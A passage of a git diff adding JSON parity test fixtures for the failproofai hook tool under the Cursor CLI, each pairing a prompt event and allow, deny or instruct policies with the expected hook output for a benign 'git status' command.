+1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..58e3a0bd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..0a146d0f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6e59ecfb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5b426058 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8a067d4c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..23167b29 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0c9234cc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3660b0f1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..98b8141a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2d806527 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7ae5643a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ea583861 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5fc2d225 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"continue\":false,\"user_message\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..446b7160 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"continue\":false,\"user_message\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..37fa4821 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"continue\":false,\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f7a6b239 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"continue\":false,\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ca7cd498 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..de98a503 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 